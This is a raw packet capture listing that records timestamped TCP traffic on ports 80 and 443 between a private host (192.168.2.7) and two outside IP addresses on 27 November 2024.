Nov 27, 2024 17:58:58.414797068 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:58:58.414865017 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:58:58.415144920 CET	49911	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:58:58.415154934 CET	443	49911	204.79.197.219	192.168.2.7
Nov 27, 2024 17:58:58.415596962 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:58:58.415626049 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:58:58.415729046 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:58:58.416013956 CET	49912	443	192.168.2.7	204.79.197.219
Nov 27, 2024 17:58:58.416028023 CET	443	49912	204.79.197.219	192.168.2.7
Nov 27, 2024 17:58:58.418196917 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.418256998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.418389082 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.418440104 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.418519020 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.418652058 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.418730974 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.418781996 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.418829918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.418873072 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.419569016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.419621944 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.419687033 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.419732094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.420547009 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.420595884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.420622110 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.420667887 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.421195030 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.421241045 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.421308994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.421364069 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.422035933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.422084093 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.422121048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.422287941 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.422904968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.422954082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.423017979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.423140049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.423696995 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.423739910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.423782110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.424525023 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.424570084 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.424599886 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.424634933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.425344944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.425385952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.425483942 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.425642967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.426219940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.426263094 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.426527977 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.426884890 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.427031994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.427068949 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.427074909 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.427113056 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.427870035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.427915096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.427921057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.427951097 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.428698063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.428741932 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.428780079 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.428865910 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.429534912 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.429585934 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.429604053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.429645061 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.430366993 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.430418968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.430485964 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.430571079 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.431205034 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.431246042 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.431339979 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.431384087 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.432060957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.432113886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.432153940 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.432199955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.432867050 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.432933092 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.432981968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.433024883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.433669090 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.433725119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.433777094 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.433818102 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.434515953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.434571981 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.434623003 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.434710979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.435436010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.435492039 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.435599089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.435647011 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.436336994 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.436398029 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.436412096 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.436456919 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.437004089 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.437067986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.437128067 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.437278986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.437947035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.438009024 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.438079119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.438121080 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.438679934 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.438790083 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.438848019 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.439536095 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.439579010 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.440215111 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.440258026 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.440354109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.440385103 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.440402985 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.440418959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.441286087 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.441349030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.441356897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.441395044 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.442140102 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.442208052 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.442357063 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.442406893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.442898989 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.442955971 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.443031073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.443151951 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.443667889 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.443726063 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.443933010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.443986893 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.444519043 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.444576979 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.444638968 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.444732904 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.445350885 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.445430994 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.445441961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.445483923 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.446424961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.446485043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.446595907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.446672916 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.447173119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.447230101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.447257042 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.447302103 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.447834969 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.447880030 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.447968960 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.448016882 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.448678970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.448826075 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.448868990 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.449568987 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.449625969 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.449647903 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.449693918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.450371027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.450428009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.450634956 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.450696945 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.610167027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.610224009 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.610234022 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.610272884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.610618114 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.610656977 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.610868931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.610919952 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.611037970 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.611113071 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.612082958 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.612113953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.612144947 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.612185955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.612935066 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.613049984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.613071918 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.613091946 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.613838911 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.613876104 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.614012957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.614052057 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.614830971 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.614877939 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.614981890 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.615025043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.615859985 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.615915060 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.616028070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.616070032 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.616956949 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.617041111 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.617135048 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.617170095 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.618206024 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.618251085 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.618319035 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.618366957 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.618959904 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.618995905 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.619010925 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.619048119 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.619551897 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.619606972 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.619672060 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.620229959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.620275974 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.620290041 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.620615959 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.621228933 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.621241093 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.621279955 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.621510983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.621562004 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.628915071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.628962040 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.629100084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.629276037 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.629462957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.629507065 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.629681110 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.629811049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.630182981 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.630233049 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.630234957 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.630302906 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.631016016 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.631072998 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.631082058 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.631118059 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.631918907 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.631970882 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.631980896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.632019043 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.632724047 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.632782936 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.632847071 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.632890940 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.633491039 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.633547068 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.633610010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.633688927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.634337902 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.634390116 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.634454012 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.634586096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.635175943 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.635238886 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.635338068 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.635375023 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.636029959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.636074066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.636080027 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.636123896 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.636872053 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.636910915 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.636934996 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.636974096 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.637691021 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.637737989 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.637753010 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.637785912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.638570070 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.638624907 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.638875961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.638923883 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.639354944 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.639477968 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.639643908 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.639693975 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.640244961 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.640306950 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.640331984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.640384912 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.640991926 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.641048908 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.641192913 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.641261101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.641815901 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.641868114 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.641963959 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.642050982 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.642651081 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.642704964 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.642784119 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.642862082 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.643491983 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.643536091 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.643563032 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.643610954 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.644346952 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.644392967 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.644485950 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.644625902 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.645154953 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.645196915 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.645344019 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.645416021 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.645981073 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.646027088 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.646090984 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.646162987 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.646816015 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.646859884 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.646891117 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.646930933 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.647663116 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.647733927 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.647836924 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.647869110 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.648482084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.648523092 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.648649931 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.648714066 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.649406910 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.649490118 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.649552107 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.649583101 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.650185108 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.650221109 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.650224924 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.650252104 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.651180029 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.651216984 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.651510000 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.651627064 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.652010918 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.652060986 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.652072906 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.652106047 CET	49850	80	192.168.2.7	185.215.113.206
Nov 27, 2024 17:58:58.652625084 CET	80	49850	185.215.113.206	192.168.2.7
Nov 27, 2024 17:58:58.652679920 CET	49850	80	192.168.2.7	185.215.113.206
